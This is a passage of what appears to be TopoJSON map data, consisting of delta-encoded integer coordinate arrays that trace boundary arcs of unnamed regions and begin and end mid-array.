2,0],[11,0],[13,-10],[9,0],[0,-5],[-3,-10],[5,-10],[2,0]],[[5495,4758],[-7,-40],[-4,-15],[-7,5],[-4,-10],[7,-16],[2,-15],[-5,-20],[0,-30],[20,-35],[-6,-15],[2,-45],[-2,-15],[4,-15],[11,-6],[0,-15],[-4,-20],[6,-25],[0,-5],[-4,-20],[-2,-25],[-14,-10],[-11,-5],[-17,5],[-11,-5],[-18,5],[-4,0],[-7,0],[0,10],[-7,10],[-8,-5],[-18,15],[-2,-15],[2,-10],[-7,-20],[5,-20],[-2,-25],[0,-5],[6,-5],[2,-21],[14,-10],[4,-70]],[[5409,4195],[-24,5],[-9,-40],[-9,-10],[-24,-50],[-13,-5],[-3,0],[-8,-21],[-3,-20],[0,-25],[7,-5],[0,-25],[-7,-25],[-6,-25],[-7,-15],[-2,-15],[7,-30],[-7,-31],[9,-15],[-9,-25],[-20,-30],[-4,-15],[-16,-25],[-13,-15],[-44,-10],[-9,-25],[0,-10],[-22,-31],[-20,-5],[-15,-10],[-9,-25],[-9,-5],[-11,-5],[-11,-5],[-11,-10],[-13,-20],[-13,0],[-25,-10],[-8,0],[-14,0],[-11,0],[-15,-5],[-18,-5],[-13,-5],[-11,0],[-18,-5],[-15,-10],[-9,0],[-4,10],[-9,5],[-4,15],[4,15],[-2,5],[-11,0],[-13,5],[-9,-5],[-9,0],[-11,5],[-35,20],[-18,5],[-9,20],[-9,10],[-8,20],[-20,5],[-9,0],[-11,5],[-5,11],[-19,5],[-14,10],[-6,10],[-11,-10],[-18,-5],[-4,-10],[-16,25],[-24,5],[-18,15],[-2,10],[-9,0],[-11,0],[-20,5],[-33,-25],[-8,0],[-9,-10],[0,-10],[-16,-31],[-11,0],[-2,0],[-4,-5],[-5,0],[-13,-10],[-4,-20],[-11,-10],[0,-10],[4,-10],[4,-15],[-2,-5],[7,-10],[0,-10],[9,-15],[-7,-15],[2,-20],[-6,-20],[-7,0],[-24,-26],[-7,6],[-20,-6],[-15,-25],[-4,-25],[-11,-5],[-9,-10],[2,-10],[-5,-5],[-17,-5],[-9,-20],[-11,0],[-2,-5],[-9,-5],[-7,-10],[-6,-5],[-9,5],[-9,-10],[-22,-10],[-18,-5],[-13,0],[-28,0],[-7,5],[-9,-5],[-35,-40],[-7,-16],[-26,-20],[-7,-5],[-6,-5],[-18,-15],[-11,-20],[-11,-10],[-7,-15],[-11,-10],[-4,-20],[-13,-5],[-9,-10],[-5,0],[-11,-20],[-11,-5],[-2,-10],[-24,-25],[-5,-11],[-13,-10],[-9,-10],[-17,-5],[-9,-5],[-9,-25],[-9,-5],[-6,0],[-9,10],[-4,10],[-11,10],[-12,25],[-6,0],[-27,21],[-33,20],[-50,35],[-31,25],[-5,-10],[-2,-15],[-4,-10],[-9,0],[-15,-5],[-3,-10],[0,-15],[3,-15],[-9,-26],[-7,-5],[-7,0],[-4,-10],[4,-20],[0,-10],[-6,-5],[-7,-15],[-17,15],[-7,15],[-13,0],[-11,-10],[-13,-5],[-7,-5],[-2,-5],[-5,10],[-11,0],[-13,-10],[-20,0],[-13,-10],[-2,-15],[-9,-35],[26,-25],[14,-5],[17,-25],[-31,-26],[-6,-35],[-27,-15],[-42,10],[-11,-30],[-6,0],[-11,10],[-9,-10],[-7,5],[-4,5],[2,15],[-4,35],[-11,15],[-11,-5],[-2,-15],[-7,-15],[-13,0],[-5,-10],[-6,15],[0,5],[-5,10],[-31,5],[-11,15],[-8,-5],[-14,-20],[-24,-5],[-4,-5],[-25,-15],[-4,-10],[-4,15],[-16,-20],[-11,-20],[-4,0],[-9,-20],[-2,-5],[-7,5],[-9,-20],[-13,-15],[-11,-5],[-9,-20],[-11,-15],[-13,5],[-24,-20],[-29,-16],[-20,0],[-9,21],[-6,20],[0,10],[4,10],[-4,10],[2,5],[2,5],[5,15],[2,35],[-7,25],[-24,-40],[-9,-5],[-9,5],[-15,-10],[-49,-35],[0,-15],[0,-35],[-4,-21],[4,-30],[-4,-5],[-9,-20],[-6,-10],[-7,-5],[-7,-5],[-6,-5],[-22,-5],[-29,10]],[[2788,2567],[4,101],[-8,40],[2,0],[2,5],[4,5],[3,0],[2,0],[2,0],[2,0],[0,5],[2,5],[5,5],[-5,0],[-4,15],[-15,-15],[-7,0],[-13,40],[0,5],[-2,5],[-5,10],[0,5],[0,10],[0,5],[2,0],[0,5],[-4,0],[-9,0],[-17,0],[2,25],[6,26],[3,10],[4,10],[4,20],[5,15],[6,15],[-2,25],[7,40],[-7,25],[-9,10],[-6,10],[-2,21],[-14,25],[5,35],[15,0],[7,-10],[17,5],[22,10],[5,10],[2,10],[0,20],[0,10],[13,10],[-11,15],[7,15],[-2,5],[4,25],[-9,31],[0,10],[-4,15],[-2,50],[6,-5],[2,0],[5,5],[13,5],[0,25],[-7,10],[3,0],[2,0],[2,0],[2,5],[2,0],[3,0],[2,0],[2,5],[0,5],[2,5],[3,5],[2,0],[0,5],[0,5],[0,5],[0,5],[0,5],[2,0],[2,5],[2,5],[-2,0],[0,5],[0,6],[2,0],[0,5],[3,5],[0,5],[-3,5],[0,5],[0,5],[3,5],[2,10],[0,20],[-2,0],[0,5],[0,5],[0,10],[0,5],[-3,5],[0,5],[0,5],[0,5],[-2,0],[0,5],[-2,0],[0,5],[0,5],[2,10],[0,5],[0,5],[-2,5],[-2,5],[-2,5],[-3,5],[-6,15],[-5,5],[0,41]],[[2823,3698],[7,0],[13,10],[11,15],[9,5],[11,15],[18,55],[11,20],[8,15],[3,5],[6,5],[2,10],[9,-15],[9,-5],[5,0],[4,-5],[2,0],[2,0],[0,-5],[3,0],[4,0],[20,10],[11,40],[17,16],[-13,40],[7,80],[0,15],[-13,15],[2,76],[20,0],[8,10],[9,15],[-4,20],[-16,45],[3,0],[50,0],[11,-20],[-2,-10],[7,-10],[6,0],[3,-10],[-3,-15],[3,-15],[2,0],[4,25],[9,15],[7,10],[22,35],[-18,-5],[4,15],[3,20],[0,10],[2,15],[0,10],[9,31],[0,5],[-7,20],[11,20],[-4,20],[9,10],[-7,15],[-18,0],[-9,10],[-4,20],[-7,-5],[-33,5],[0,5],[0,5],[3,5],[2,5],[2,0],[0,10],[2,0],[0,5],[0,5],[2,5],[0,5],[-2,10],[0,6],[-2,5],[-4,0],[-3,0],[-2,0],[-4,5],[-7,0],[-2,0],[-4,0],[-7,5],[-2,0],[-2,0],[-3,5],[-4,0],[-2,5],[-3,0],[-2,0],[-4,0],[-2,0],[-5,0],[-2,0],[-2,0],[-9,0],[-7,5],[-2,0],[-2,0],[0,-5],[-2,0],[-5,5],[-2,0],[0,5],[-2,0],[0,5],[-4,5],[-3,5],[-2,0],[-4,5],[0,5],[0,5],[-2,10],[-3,10],[0,5],[0,5],[0,10],[0,20],[16,50],[2,15],[-2,5],[0,11],[0,5],[0,25],[0,5],[-5,5],[0,15],[-2,0],[-2,0],[-2,0],[2,5],[-2,5],[-7,0],[0,5],[-2,0],[0,5],[-2,5],[0,5],[0,5],[-2,5],[-3,0],[-2,0],[0,5],[5,5],[4,5],[2,5],[2,0],[0,5],[3,5],[2,0],[2,5],[4,5],[-2,0],[0,5],[2,5],[3,0],[2,5],[2,0],[0,5],[0,5],[-2,0],[-2,0],[0,5],[0,5],[0,5],[2,5],[0,5],[-2,5],[0,5],[0,6],[0,5],[2,5],[4,5],[2,0],[0,5],[0,5],[3,0],[0,5],[0,5],[2,5],[0,5],[2,5],[0,5],[0,5],[0,5],[2,5],[2,0],[0,10],[0,5],[3,0],[2,0],[2,5],[4,5],[0,5],[3,0],[2,5],[2,0],[2,5],[2,0],[0,5],[-4,5],[0,5],[4,5],[0,5],[0,10],[0,5],[-2,5],[0,5],[0,5],[2,0],[0,5],[5,5],[11,5],[2,0],[0,5],[5,10],[0,11],[-3,0],[0,5],[-15,30],[-33,30],[-5,15],[-8,10],[22,20],[0,15],[4,0],[-2,10],[2,0],[4,10],[5,-5],[-2,-5],[6,0],[9,0],[16,-15],[-7,-10],[-5,5],[-6,-10],[6,-15],[12,-5],[6,5],[2,-10],[5,5],[0,-5],[2,0],[0,5],[2,0],[2,0],[3,0],[2,5],[2,0],[2,0],[2,5],[3,0],[2,5],[2,0],[4,0],[3,0],[2,0],[0,5],[0,5],[2,5],[2,0],[0,5],[0,5],[2,5],[3,0],[4,5],[2,5],[0,5],[0,5],[-2,10],[0,5],[0,10],[0,5],[-2,0],[-2,5],[-3,0],[-2,5],[-2,5],[0,6],[-2,10],[0,5],[2,5],[0,10],[0,5],[0,5],[0,15],[2,5],[-2,5],[-2,5],[-7,5],[-17,10],[-7,0],[-7,5],[-2,0],[-2,0],[-2,5],[-5,0],[-4,5],[-2,0],[-3,0],[-2,0],[-4,0],[-2,0],[-3,0],[-4,-5],[-9,0],[-2,0],[-11,0],[-4,0],[-3,0],[-11,0],[-4,0],[-2,5],[-5,0],[-2,0],[-11,0],[-2,0],[-2,-5],[-2,0],[-3,0],[-4,-10],[-2,-5],[-5,0],[-2,0],[-4,0],[-3,5],[-4,0],[-2,5],[-5,5],[-2,0],[-2,0],[-2,0],[-2,0],[-3,5],[-2,0],[-6,10],[-3,5],[-2,0],[-2,5],[-4,0],[-3,0],[-2,0],[-4,5],[-2,0],[-3,0],[-2,0],[-4,0],[-2,0],[-5,5],[-2,0],[-2,0],[-2,-10],[-14,0],[-4,5],[-5,0],[-6,25],[-11,-5],[-5,0],[-4,-10],[-9,-15],[-11,20],[-9,5],[-17,-5],[-11,-15],[-16,5],[9,10],[2,5],[14,5],[19,25],[-4,20],[0,11],[2,5],[0,5],[0,10],[-2,5],[0,5],[-2,5],[2,0],[0,15],[11,0],[0,10],[4,5],[-2,15],[-4,0],[-2,10],[-14,20],[3,5],[-3,10],[16,15],[0,10],[0,5],[0,15],[-5,0],[0,10],[3,10],[0,5],[2,5],[2,6],[0,5],[-4,5],[-5,15],[-15,-5],[-7,5],[-4,5],[0,10],[4,0],[5,0],[17,0],[2,20],[14,-5],[2,20],[4,0],[0,10],[13,10],[-4,5],[13,15],[7,10],[4,10],[5,5],[4,5],[-2,10],[-13,15],[0,5],[-9,10],[-5,0],[3,5],[6,16],[-2,10],[-7,-5],[-2,20],[-11,25],[-4,-10],[-5,10],[-6,-15],[-11,10],[-11,-20],[-9,0],[2,-10],[-22,-15],[-18,-16],[-17,-15],[-22,-15],[-16,-10],[-15,-5],[-20,-10],[-97,-35],[-4,5],[-5,0],[-70,0],[-14,0]],[[2415,5823],[-26,15]],[[2389,5838],[-33,131],[2,0],[2,10],[5,10],[2,0],[4,15],[0,5],[5,15],[0,5],[0,10],[-2,20],[0,25],[0,10],[2,5],[6,15],[5,11],[26,30],[7,0],[2,5],[18,0],[6,5],[7,10],[2,5],[2,0],[3,5],[2,0],[2,5],[2,0],[5,5],[22,30],[4,10],[-4,10],[0,5],[-5,5],[-2,5],[-4,5],[0,5],[0,5],[-3,0],[-2,0],[0,10],[2,5],[0,10],[0,5],[-2,5],[-2,0],[-2,5],[-2,5],[22,31],[0,20],[-7,10],[-18,40],[-28,20],[-13,0],[-18,25],[-18,20],[-26,-25],[-13,40],[19,41],[18,20],[-4,15],[-18,0],[-9,-15],[-33,-5],[-7,5],[-24,-25],[-28,-11],[-27,-10],[-44,-10],[-9,-5],[-17,-15],[-3,5],[-6,-5],[-13,20],[-7,-20],[-20,-20],[-35,-35],[-35,-30],[-42,-35],[8,85],[23,30],[11,81],[6,35],[-62,176]],[[1994,6773],[5,10],[20,30],[11,-65],[4,-10],[2,-11],[-2,-5],[2,-10],[5,-5],[4,-15],[20,20],[29,15],[6,11],[16,20],[37,40],[11,20],[5,25],[2,25],[9,0],[15,10],[9,-15],[-7,-5],[7,-10],[11,5],[20,-5],[15,-30],[7,-5],[9,10],[6,10],[7,30],[11,15],[0,10],[2,20],[44,10],[16,5],[6,10],[9,21],[9,30],[2,10],[4,15],[16,45],[0,5],[6,20],[11,5],[16,15],[-7,30],[3,21],[2,5],[13,10],[9,0],[24,20],[2,-25],[11,10],[5,-5],[4,-10],[-7,-10],[5,-16],[17,0],[5,16],[9,15],[4,0],[5,0],[6,-5],[5,0],[4,0],[13,10],[22,5],[24,-10],[3,10],[11,0],[11,5],[4,5],[7,5],[-7,15],[-9,15],[7,5],[0,5],[-9,0],[-11,0],[0,20],[7,0],[2,5],[4,5],[0,5],[-4,0],[-2,10],[6,20],[5,5],[22,10],[17,15],[-2,31],[0,10],[5,0],[-3,15],[-8,0],[0,10],[8,15],[-13,10],[2,5],[11,5],[11,-5],[45,10],[26,0],[7,-5],[-7,-15],[9,-15],[6,5],[5,0],[20,-10],[17,0],[25,-15],[33,5],[0,5],[8,0],[7,0],[7,-5],[13,-10],[13,0],[13,5],[0,5],[14,0],[22,10],[11,0],[22,10],[13,30],[20,20],[11,25],[24,0],[4,0],[11,5],[22,15],[22,25],[7,5],[5,-5],[22,-5],[4,0],[31,0],[13,0],[2,-15],[16,-5],[2,-10],[11,5],[9,-5],[22,5],[4,5],[40,-10],[31,0],[4,0],[5,-10],[17,-15],[9,0],[15,5],[7,0],[2,5],[20,15],[27,35],[17,10],[42,20],[20,11]],[[3531,7557],[-22,-31],[0,-10],[-2,-40],[-18,-20],[2,-15],[-4,-10],[-13,-15],[-25,0],[-13,-5],[-44,-25],[0,-5],[-18,-15],[-4,0],[-15,-31],[-14,-40],[-9,-25],[-4,0],[-4,0],[-14,-5],[-13,-5],[-13,0],[-13,0],[-11,-15],[-18,-20],[-18,-5],[-6,-15],[2,-15],[2,-20],[7,-10],[-13,-15],[-7,5],[-7,-5],[-15,-26],[-9,-5],[-35,-25],[-11,-10],[-31,-35],[-4,0],[-5,0],[-2,0],[-2,5],[-5,0],[-33,-15],[11,-55],[5,0],[15,-76],[27,10],[4,-15],[15,-10],[7,-10],[7,-15],[24,-90],[-4,0],[-11,0],[-7,-5],[0,-5],[2,-15],[0,-5],[5,0],[4,0],[2,0],[2,0],[0,5],[3,0],[4,0],[2,-5],[2,5],[3,0],[8,10],[3,0],[2,0],[4,0],[5,0],[11,-5],[2,0],[4,5],[5,5],[2,5],[0,10],[2,10],[2,10],[2,0],[3,5],[2,0],[2,0],[5,5],[4,0],[4,5],[5,5],[4,5],[0,5],[0,5],[-2,15],[0,10],[2,5],[5,5],[4,0],[2,0],[2,0],[5,-15],[4,-5],[2,0],[7,0],[4,10],[5,5],[0,5],[-2,5],[-3,15],[3,0],[0,5],[2,0],[2,-5],[2,0],[5,0],[6,0],[5,0],[11,5],[13,5],[11,0],[4,-15],[-8,-10],[4,-15],[-9,-10],[7,-10],[2,0],[4,-10],[5,0],[4,-25],[11,10],[18,-15],[4,5],[2,-10],[-15,-20],[7,-15],[-11,-10],[-7,-5],[-7,-11],[-4,-15],[-2,-5],[-5,0],[-4,0],[-7,-10],[-9,-5],[-11,15],[-6,-5],[-2,10],[-9,5],[-11,0],[-22,-30],[2,-20],[-2,-10],[-7,0],[-6,0],[-7,-5],[-9,-10],[-2,-10],[-9,-15],[9,-25],[9,5],[2,-15],[9,10],[2,-10],[-2,-10],[-5,5],[0,-10],[16,-5],[0,-5],[-7,-5],[-4,5],[-11,0],[-2,0],[-3,0],[-13,-10],[-11,0],[-15,-10],[-9,-10],[-5,0],[-19,20],[-11,-10],[-3,10],[0,5],[-4,15],[-9,-15],[-4,0],[-5,5],[-9,-5],[-2,-5],[-6,5],[-3,-10],[5,-21],[-7,-5],[11,-20],[5,-20],[6,-10],[0,-5],[7,-30],[0,-15],[9,0],[6,-5],[3,-10],[13,0],[11,5],[9,5],[8,5],[7,5],[4,5],[14,10],[6,-10],[5,0],[17,10],[9,-30],[-4,0],[2,-10],[-4,-5],[0,-10],[-3,0],[5,-40],[4,-15],[7,-11],[2,-10],[4,0],[25,10],[0,-5],[4,0],[2,11],[2,0],[0,5],[3,0],[2,0],[4,5],[2,0],[5,0],[2,0],[4,0],[0,5],[5,10],[0,5],[2,5],[5,5],[2,5],[2,5],[0,5],[-2,5],[-2,0],[-5,10],[-9,25],[-11,35],[2,5],[-4,20],[31,20],[11,5],[26,20],[3,6],[11,15],[2,5],[2,0],[7,5],[2,0],[4,5],[5,5],[2,0],[2,5],[2,5],[2,5],[3,10],[2,5],[0,10],[0,5],[2,5],[2,5],[0,5],[3,5],[0,5],[2,0],[0,5],[4,5],[7,5],[0,5],[0,5],[0,5],[2,5],[0,5],[2,0],[2,5],[5,5],[2,0],[0,10],[-7,15],[-2,0],[-2,0],[-4,26],[-5,0],[0,5],[7,5],[9,0],[0,5],[11,5],[4,5],[2,-10],[9,5],[4,5],[9,-20],[9,10],[7,15],[15,15],[13,0],[-2,-10],[2,0],[0,-10],[3,0],[6,-5],[13,5],[11,-20],[3,0],[2,-5],[-2,-6],[2,0],[-2,-10],[4,0],[4,-35],[3,-5],[4,15],[2,0],[9,10],[11,-5],[15,5],[23,10],[2,5],[6,-10],[7,-5],[15,0],[5,5],[2,-5],[7,0],[2,-5],[2,5],[7,5],[2,-10],[9,-15],[2,5],[2,0],[7,0],[2,0],[0,5],[2,0],[2,5],[-2,20],[-2,0],[0,5],[4,21],[-2,5],[2,0],[16,30],[2,0],[9,5],[2,-5],[15,0],[0,20],[0,10],[7,10],[4,35],[-4,0],[0,5],[-7,0],[-2,0],[-2,5],[4,15],[3,5],[2,10],[-9,10],[2,10],[-6,-5],[0,10],[-7,0],[0,10],[-4,0],[-3,6],[-2,10],[-33,5],[9,25],[-5,15],[-2,5],[-4,20],[2,15],[2,5],[-17,15],[-3,10],[11,10],[-8,20],[-11,-15],[-3,10],[-6,-10],[-5,5],[-6,-10],[-7,20],[-4,-5],[-5,0],[-6,25],[-2,0],[-9,20],[-5,0],[0,11],[-6,-6],[-3,11],[-2,10],[-4,-5],[-7,15],[-4,0],[-2,5],[2,25],[2,15],[-9,50],[0,10],[-9,10],[-2,5],[-11,15],[-9,20],[60,20],[13,6],[31,5],[48,0],[7,5],[9,10],[9,10],[15,5],[5,5],[4,-5],[13,5],[18,25],[9,-20],[22,-20],[4,5],[11,-36],[2,6],[5,-11],[-2,-5],[6,-5],[-4,-5],[6,-10],[7,15],[22,-35],[0,-20],[18,-35],[11,5],[13,-15],[13,10],[16,-5],[11,25],[6,20],[20,0],[4,-30],[20,-25],[2,5],[12,15],[4,5],[11,25],[4,5],[3,5],[2,0],[2,0],[2,0],[2,0],[0,-5],[0,-5],[0,-5],[3,-5],[6,-5],[5,-5],[2,0],[2,0],[2,0],[5,0],[2,0],[2,0],[7,10],[4,5],[2,0],[0,5],[2,0]],[[3800,6758],[-5,-5],[0,-10],[-8,-26],[4,-5],[13,5],[18,-10],[9,31],[4,-6],[5,11],[4,5],[0,5],[-11,0],[-7,10],[-2,5],[-7,0],[3,10],[-9,-5],[0,-5],[-5,-5],[-4,-10],[-2,5]],[[2779,5577],[5,-20],[11,15],[2,-5],[9,10],[4,10],[9,-5],[0,20],[0,25],[-11,10],[-5,-5],[3,-10],[-27,-20],[5,-5],[-3,-5],[-2,5],[-2,-5],[2,-15]],[[2484,5416],[9,5],[0,10],[4,5],[-4,10],[8,5]],[[2501,5451],[5,-5],[4,5],[5,-15],[13,5],[2,-5],[-20,-20],[-9,-20],[-15,5],[-2,5],[0,10]],[[2601,5522],[0,-26],[6,-20],[-2,0],[-7,0],[-2,-5],[-13,-10],[-4,-10],[-5,-5],[-2,-10],[-7,5],[-2,5],[-2,15],[2,5],[-13,25],[2,10],[2,16],[22,15],[5,0],[-2,-5],[2,-5],[6,10],[11,0],[3,-10]],[[3531,7557],[-9,5],[-13,-5],[-35,-5],[-9,10],[13,50],[0,5],[35,35],[0,10],[5,10]],[[3518,7672],[11,-5],[0,-10],[6,0],[5,-5],[24,-60],[-4,-15],[-5,-10],[-15,-15],[-9,5]],[[4150,7114],[3,10],[4,0],[2,-10],[24,-10],[31,25],[58,26],[2,5],[33,5],[15,-20],[11,-11],[25,-10],[15,26],[13,10],[13,30],[5,5],[6,10],[9,10],[-4,10],[0,5],[0,5],[-2,0],[0,5],[-3,5],[-2,0],[-2,0],[0,5],[0,5],[0,5],[-2,5],[-2,5],[-3,5],[0,10],[-4,5],[0,5],[0,5],[-2,10],[4,0],[0,10],[11,10],[33,-5],[2,0],[3,-10],[4,5],[27,5],[17,31],[7,-11],[13,-25],[0,-10],[2,-10],[0,-10],[7,-10],[4,-10],[9,-15],[4,-10],[0,-5],[0,-5],[3,-5],[0,-5],[-3,-5],[0,-10],[0,-5],[0,-10],[0,-10],[-2,-15],[0,-5],[11,0],[5,-10],[9,0],[6,-5],[2,5],[44,15],[3,-5],[26,15],[-11,20],[-2,5],[0,10],[-2,10],[6,0],[0,5],[9,0],[7,-10],[2,0],[4,0],[9,0],[2,10],[7,5],[4,5],[-2,5],[9,5],[13,10],[24,-15],[16,-40],[0,-15],[6,-20],[25,-5],[11,-15],[11,10],[4,15],[9,5],[15,0],[16,5],[13,5],[5,0],[0,5],[4,-5],[33,20],[0,-5],[7,0],[4,-5],[2,-20],[-2,-5],[-4,-5],[-7,-25],[-9,0],[-2,10],[-4,-5],[-27,-11],[0,-5],[7,0],[6,-10],[0,-5],[-4,-5],[0,-5],[13,-20],[2,0],[5,-5],[6,0],[0,-5],[5,5],[-2,-15],[2,0],[4,-15],[22,5],[18,10],[-2,5],[4,0],[20,0],[2,0],[-2,20],[-2,0],[0,30],[4,0],[2,10],[-4,26],[9,25],[22,20],[2,0],[2,5],[18,100],[11,5],[4,-5],[16,-5],[-3,20],[5,0],[-2,15],[6,5],[0,6],[9,0],[0,15],[5,5],[0,5],[17,5],[7,-20],[20,0],[4,-10],[13,5],[0,-5],[18,-11],[15,-30],[9,-5],[5,-5],[0,-5],[-3,-5],[-2,0],[-2,0],[-2,-10],[-2,0],[0,-5],[0,-5],[0,-5],[2,-10],[0,-5],[0,-10],[2,0],[0,-5],[2,-5],[0,-5],[2,-5],[5,-15],[4,0],[2,0],[5,-5],[11,-30],[9,-25],[-3,-21],[3,-25],[8,-40],[5,-10],[-5,-25],[16,-5],[0,-5],[2,-15],[2,-25],[5,-10],[0,-10],[2,-26],[4,-15],[11,-25],[3,-20],[-3,-5],[0,-25],[7,-20],[0,-5],[7,-5],[4,-15],[0,-10],[7,-10],[-3,-5],[7,-10],[15,-31],[0,-20],[7,-5],[2,-30],[29,-15],[2,-20],[13,5],[2,0],[16,0],[7,-10],[6,5],[5,-5],[8,5],[7,-5],[7,5],[8,10]],[[5413,6647],[7,-25],[2,-15],[0,-10],[2,0],[-4,-20],[-2,-5],[2,-10],[7,-10],[0,5],[2,0],[2,0],[7,5],[2,-5],[2,5],[9,0],[2,-5],[9,10],[9,10],[9,10],[8,0],[5,5],[9,-81],[8,0],[7,5],[7,5],[4,0],[2,5],[2,0],[3,6],[0,5],[31,35],[28,-61],[-2,-70]],[[5592,6441],[-33,30],[-4,10],[0,5],[-3,10],[-2,5],[-7,0],[0,5],[-15,-10],[-9,5],[0,5],[-22,5],[-2,-15],[-4,0],[-3,0],[-4,5],[-4,-5],[-5,-5],[-2,0],[-2,0],[-2,-5],[0,-5],[0,-5],[0,-5],[-5,5],[-2,-5],[-4,0],[-9,-5],[-5,-5],[-4,0],[-2,-5],[-3,0],[-2,-5],[-17,-35],[-7,-5],[-2,-10],[2,-5],[0,-10],[4,-15],[-4,-15],[-9,-15],[-22,-36],[-15,-10],[0,-15],[4,-35],[20,-5],[7,5],[59,20],[2,0],[9,-5],[13,-5],[11,-15],[-4,-5],[4,-5],[14,-10],[22,-30],[4,-10],[15,-5],[9,-20],[5,-10],[13,-15],[13,-21],[7,-20],[11,-5],[9,-25],[13,5],[15,-15],[-2,-50],[-9,-40],[-9,0],[-8,-15],[-14,0],[-26,-20],[-20,-5],[-13,5]],[[5537,5924],[2,60],[-90,40],[-5,-70],[2,-20],[-2,-5],[-26,0],[-9,5],[-24,10],[-7,0],[-24,-15],[-5,15],[5,10],[-2,75],[-33,5],[-75,-151],[-36,56],[-11,-5],[-6,-5],[-13,0],[-7,5],[-4,-5],[-3,0],[-2,0],[-2,0],[-2,0],[-2,0],[-3,-10],[-6,0],[-5,-6],[-15,0],[-9,16],[-29,0],[-11,-10],[-11,-11],[-15,-35],[-9,-5],[-13,30],[-7,-5],[-13,5],[-2,-5],[-2,-5],[-5,-10],[-2,-10],[-2,0],[-2,-5],[-3,-10],[-4,-10],[-2,0],[11,-25],[13,-15]],[[5010,5803],[0,-15],[-7,-5],[-19,0],[-31,-10],[-36,25],[-11,-15],[-11,0],[-24,-15],[-9,-10],[-6,-15],[-9,-5],[0,-5],[-11,-5],[2,-26],[31,-70],[-18,-30],[-6,0],[-25,-30],[-11,-20],[-6,-5],[-20,-41],[-7,-25],[-13,-40],[-13,-40],[-7,10],[-4,15],[6,50],[-2,0],[-15,5],[-13,15],[-5,-10],[-9,-5],[-6,-15],[0,-10],[-7,-20],[-11,-15],[-11,0],[-6,-5],[0,-25],[-7,-15],[4,-30],[5,0],[0,-20],[2,-20],[-7,-16],[0,-10],[-6,-10],[2,-10],[0,-10],[-2,-15],[-9,-10],[-5,5],[-6,-5],[2,0],[0,-5],[-2,-5],[2,-5],[0,-5],[2,-5],[-6,-15],[-14,-25],[-8,-5],[-9,-35],[13,-26],[-2,-15],[9,-20],[28,-85],[0,-25],[-6,0],[0,-5],[-14,-15],[5,-15],[-2,-15],[-16,-26]],[[6566,5537],[18,-51],[2,-20],[11,-25],[9,0],[0,-15],[9,-50],[2,-35],[0,-5],[-4,-25],[-20,-11],[-11,-10],[-9,-15],[-11,-10],[-16,-10],[-8,-5],[-9,-10],[-9,0],[-11,5],[-9,-20],[-11,-15],[-6,-20],[-9,-10],[-9,-5],[-18,-10],[-6,-5],[-7,-5],[-9,-10],[7,-10],[0,-25],[15,-21],[2,-10],[-4,-45],[-9,-20],[0,-5],[2,-10]],[[6438,4999],[-6,-20],[-11,-10],[-20,-5],[-15,-30],[-11,-10],[0,-10],[0,-10],[-18,0],[-2,10],[-11,-5],[-5,-10],[-9,-6],[-2,-10],[0,-20],[5,-20],[-3,-15],[7,-25],[0,-15],[7,-20],[-7,-10],[-11,5],[-9,-10],[-9,-10],[0,-15],[-4,-10],[-2,-10],[-2,-10],[2,-11],[-5,-10],[-6,-25],[6,-35],[-19,-15],[-9,-15],[-9,5],[-5,0],[-13,-5],[-13,-15],[-2,15],[-9,5],[-9,40],[-6,5],[0,10],[0,5],[-9,5],[-20,-20],[-20,-25],[-9,-35],[11,-40],[-2,-15],[-11,-10],[-18,-10],[-13,-26],[-6,-5],[-18,-10],[-2,-15],[-18,-20],[-13,20],[-7,5],[-4,-5],[-7,0],[-4,-5],[-5,-5],[-4,-20],[-7,-15],[-4,5],[-4,0],[-9,0],[-5,-5],[-4,-10],[0,-20],[2,-15],[-4,-10],[-2,-5],[2,-5],[2,-5],[0,-15],[0,-30],[7,-16],[4,-20],[-29,-40],[-11,0],[-13,-30],[7,-15],[-5,-15],[5,-10],[-11,-15],[-5,-15],[13,-25],[3,-26],[13,-15],[4,-5],[5,-10],[6,0],[14,-5],[4,-15],[-2,-30],[4,-20],[-4,-10],[0,-30],[6,-15],[-2,-20],[5,-11],[-7,-30],[0,-20]],[[6002,3823],[-13,-5],[-13,-5],[-9,-15],[-7,-5],[-4,-10],[-9,-15],[-13,-10],[-11,-5],[-18,-5],[-9,10],[-4,25],[2,15],[-4,0],[-5,10],[-13,10],[-7,0],[-4,0],[-9,-15],[-22,-5],[-24,-5],[-13,20],[-7,0],[-9,25],[-9,10],[-17,-15],[-16,5],[-6,-5],[-16,5],[-20,25],[-6,-10],[-11,0],[-11,-20],[-2,-15],[-9,-5],[2,-10],[-5,-10],[3,-30],[-9,-15],[-5,-15],[-4,-10],[7,-20],[-5,-20],[9,-21],[4,-40],[-19,-10],[-9,-5],[-2,-5],[-9,0],[-7,-5],[-9,5],[-8,-10],[-18,-5],[-2,-10],[-9,-10]],[[5559,3567],[-11,5],[-18,35],[-15,-15],[-29,20],[-11,20],[-6,-5],[-5,0],[-4,15],[-9,0],[-5,20],[-4,21],[-4,20],[2,25],[-5,0],[-2,5],[-2,10],[0,15],[-7,25],[-15,30],[0,20],[-4,5],[0,10],[-5,10],[9,56],[-4,10],[0,10],[13,20],[6,30],[0,10],[7,15],[0,45],[4,10],[-2,5],[-4,41],[2,5],[2,45],[2,10],[-8,20],[-18,5]],[[5495,4758],[20,15],[11,5],[9,5],[6,-5],[7,-5],[22,10],[18,15],[-7,45],[-4,10],[-5,10],[-13,15],[9,26],[0,5],[-2,20],[-23,-15],[-6,10],[-7,0],[2,5],[-4,5],[18,-5],[22,20],[2,30],[-11,25],[4,5],[7,10],[2,15],[0,30],[7,25],[6,26],[31,25],[5,10],[-3,10],[5,0],[-11,15],[-9,30],[-9,-5],[-13,5],[-15,15],[-7,0],[-2,-10],[-11,0]],[[5546,5210],[-9,30],[6,35],[-2,15],[-6,21],[2,10],[9,5],[6,10],[9,15],[-4,25],[-9,15],[2,10],[-7,10],[-11,15],[-8,-5],[-7,10],[13,25],[7,5],[29,20],[6,15],[5,31],[11,5],[8,-5],[7,5],[11,-26],[29,21],[6,10],[2,15],[27,5],[26,20],[0,10],[7,10],[2,15],[-9,20],[11,0],[16,5],[0,-5],[6,5],[-6,5],[2,20],[-2,5],[2,10],[-2,15],[0,46],[-2,15],[11,15],[6,20],[-2,15],[13,10],[14,35],[0,10],[-11,30]],[[5760,5888],[28,15],[33,-15],[13,-15],[3,-25],[-7,-35],[7,-30],[0,-86],[33,0],[11,5],[9,-15],[6,0],[13,0],[7,0],[4,0],[0,-5],[7,0],[7,-5],[4,0],[9,-5],[2,0],[4,-5],[3,0],[2,0],[2,0],[7,0],[2,0],[4,-5],[3,0],[2,0],[2,-5],[2,0],[5,5],[2,0],[6,0],[3,5],[4,0],[4,0],[5,0],[4,0